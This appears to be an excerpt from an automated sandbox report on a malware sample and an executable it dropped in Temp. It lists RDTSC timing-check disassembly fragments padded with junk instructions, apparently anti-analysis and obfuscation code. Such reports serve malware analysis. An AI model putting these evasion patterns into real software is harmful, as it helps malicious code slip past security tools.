Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250E4D second address: 5250EE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 73E03BA4h 0x00000008 mov bx, 6E10h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, esi 0x00000010 jmp 00007F5CACF3B8EFh 0x00000015 mov esi, dword ptr [ebp+0Ch] 0x00000018 jmp 00007F5CACF3B8F6h 0x0000001d test esi, esi 0x0000001f jmp 00007F5CACF3B8F0h 0x00000024 je 00007F5D1D738E06h 0x0000002a jmp 00007F5CACF3B8F0h 0x0000002f cmp dword ptr [75AB459Ch], 05h 0x00000036 pushad 0x00000037 mov ebx, ecx 0x00000039 jmp 00007F5CACF3B8EAh 0x0000003e popad 0x0000003f je 00007F5D1D750EBBh 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 push ebx 0x00000049 pop eax 0x0000004a jmp 00007F5CACF3B8F9h 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250EE7 second address: 5250F20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebp 0x0000000b jmp 00007F5CACC3D922h 0x00000010 mov dword ptr [esp], esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5CACC3D927h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250F59 second address: 5250F70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250F70 second address: 5250F88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5CACC3D924h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250F88 second address: 5250F8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 62C56F second address: 62C573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 62C9EA second address: 62CA17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACF3B8F6h 0x00000009 jno 00007F5CACF3B8E6h 0x0000000f popad 0x00000010 pop ebx 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jns 00007F5CACF3B8E6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 62CA17 second address: 62CA1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 62CA1B second address: 62CA2F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F5CACF3B8E6h 0x0000000e jnc 00007F5CACF3B8E6h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 62CB50 second address: 62CB5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F5CACC3D916h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 62CB5C second address: 62CB6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F5CACF3B8E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 62CD3F second address: 62CD53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D920h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 62E6D1 second address: 62E6D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 62E6D7 second address: 62E77E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 jnp 00007F5CACC3D920h 0x0000000d nop 0x0000000e jmp 00007F5CACC3D91Fh 0x00000013 push 00000000h 0x00000015 jns 00007F5CACC3D916h 0x0000001b push 93459DD6h 0x00000020 jmp 00007F5CACC3D928h 0x00000025 add dword ptr [esp], 6CBA62AAh 0x0000002c or dh, FFFFFFD9h 0x0000002f push 00000003h 0x00000031 jmp 00007F5CACC3D925h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007F5CACC3D918h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 00000018h 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 mov ecx, dword ptr [ebp+122D2B62h] 0x00000058 push 00000003h 0x0000005a mov dword ptr [ebp+122D1C17h], ebx 0x00000060 push B9D39AB2h 0x00000065 push esi 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 62E77E second address: 62E782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 62E80E second address: 62E888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edx, dword ptr [ebp+122D3A9Bh] 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F5CACC3D918h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b cld 0x0000002c push A07CDF42h 0x00000031 jns 00007F5CACC3D91Eh 0x00000037 add dword ptr [esp], 5F83213Eh 0x0000003e mov dl, al 0x00000040 mov si, 8A92h 0x00000044 push 00000003h 0x00000046 mov cx, si 0x00000049 push 00000000h 0x0000004b push edi 0x0000004c xor dword ptr [ebp+122D1C3Fh], edx 0x00000052 pop edi 0x00000053 push 00000003h 0x00000055 mov dword ptr [ebp+1243F81Fh], edi 0x0000005b call 00007F5CACC3D919h 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 pop edx 0x00000065 pop eax 0x00000066 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 62E888 second address: 62E8CB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jng 00007F5CACF3B8EAh 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 jns 00007F5CACF3B8ECh 0x0000001e pop eax 0x0000001f mov eax, dword ptr [eax] 0x00000021 jnc 00007F5CACF3B8F3h 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 62E8CB second address: 62E8CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65008F second address: 6500C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5CACF3B8E6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pushad 0x0000000e jc 00007F5CACF3B8E6h 0x00000014 ja 00007F5CACF3B8E6h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F5CACF3B8F4h 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 6500C2 second address: 6500EF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5CACC3D916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F5CACC3D929h 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007F5CACC3D916h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 64DEBF second address: 64DEEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACF3B8EFh 0x00000009 popad 0x0000000a jmp 00007F5CACF3B8F8h 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 64E06D second address: 64E094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jno 00007F5CACC3D916h 0x00000010 pop edx 0x00000011 pushad 0x00000012 jne 00007F5CACC3D916h 0x00000018 push esi 0x00000019 pop esi 0x0000001a jmp 00007F5CACC3D91Ch 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 64E094 second address: 64E0A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8EEh 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 64E249 second address: 64E25D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jbe 00007F5CACC3D916h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F5CACC3D916h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 64E25D second address: 64E261 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 64E957 second address: 64E967 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007F5CACC3D916h 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 64EC51 second address: 64EC8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F5CACF3B8F3h 0x0000000b jmp 00007F5CACF3B8F5h 0x00000010 jmp 00007F5CACF3B8ECh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 64EC8C second address: 64ECA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5CACC3D91Ch 0x00000009 jnp 00007F5CACC3D916h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 64ECA2 second address: 64ECA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 64EDF1 second address: 64EE00 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5CACC3D916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 64EE00 second address: 64EE05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 61CBA0 second address: 61CBA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 61CBA6 second address: 61CBAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65880C second address: 658814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 658814 second address: 658826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5CACF3B8E6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 658826 second address: 65882B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65882B second address: 658832 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 658832 second address: 658842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 658842 second address: 658849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 658849 second address: 65886F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5CACC3D918h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5CACC3D926h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65721F second address: 657230 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5CACF3B8E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 657230 second address: 657234 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 657234 second address: 657243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007F5CACF3B8E6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 6589B7 second address: 6589BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 658B0D second address: 658B28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65D0AA second address: 65D0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65D0B1 second address: 65D0C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F5CACF3B8E6h 0x0000000a jmp 00007F5CACF3B8EAh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65D0C5 second address: 65D0C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65D0C9 second address: 65D0D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5CACF3B8E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65D0D9 second address: 65D0DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65C4BE second address: 65C4C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5CACF3B8E6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65C4C8 second address: 65C4FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D925h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5CACC3D921h 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65C4FC second address: 65C51C instructions: 0x00000000 rdtsc 0x00000002 je 00007F5CACF3B8E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5CACF3B8ECh 0x00000013 jbe 00007F5CACF3B8E6h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65C51C second address: 65C520 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65C7A8 second address: 65C7BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5CACF3B8F1h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65CC69 second address: 65CCD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACC3D929h 0x00000009 jmp 00007F5CACC3D921h 0x0000000e popad 0x0000000f jmp 00007F5CACC3D928h 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jbe 00007F5CACC3D916h 0x0000001d pop edx 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F5CACC3D928h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65E69E second address: 65E6A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65E720 second address: 65E724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65EE68 second address: 65EE6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65F3D9 second address: 65F3F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D91Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F5CACC3D918h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65F70C second address: 65F712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65F712 second address: 65F716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 65FAD8 second address: 65FADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 660094 second address: 6600ED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jno 00007F5CACC3D91Eh 0x0000000d nop 0x0000000e sub dword ptr [ebp+1243F0DEh], edi 0x00000014 push 00000000h 0x00000016 adc edi, 2AC43CDEh 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007F5CACC3D918h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 0000001Ah 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 xor dword ptr [ebp+122D2CDEh], edx 0x0000003e mov dword ptr [ebp+122D2CDEh], esi 0x00000044 push eax 0x00000045 pushad 0x00000046 push ecx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 6600ED second address: 660107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F5CACF3B8F2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 662A3C second address: 662A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACC3D923h 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 662A57 second address: 662A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 66126B second address: 661271 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 661271 second address: 661277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 661277 second address: 66127B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 662FCA second address: 663061 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5CACF3B8F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F5CACF3B8F1h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F5CACF3B8E8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e xor dword ptr [ebp+124490E1h], esi 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F5CACF3B8E8h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 mov edi, dword ptr [ebp+122D35E6h] 0x00000056 mov edi, dword ptr [ebp+122D3803h] 0x0000005c xchg eax, ebx 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 jne 00007F5CACF3B8E6h 0x00000066 pop eax 0x00000067 rdtsc
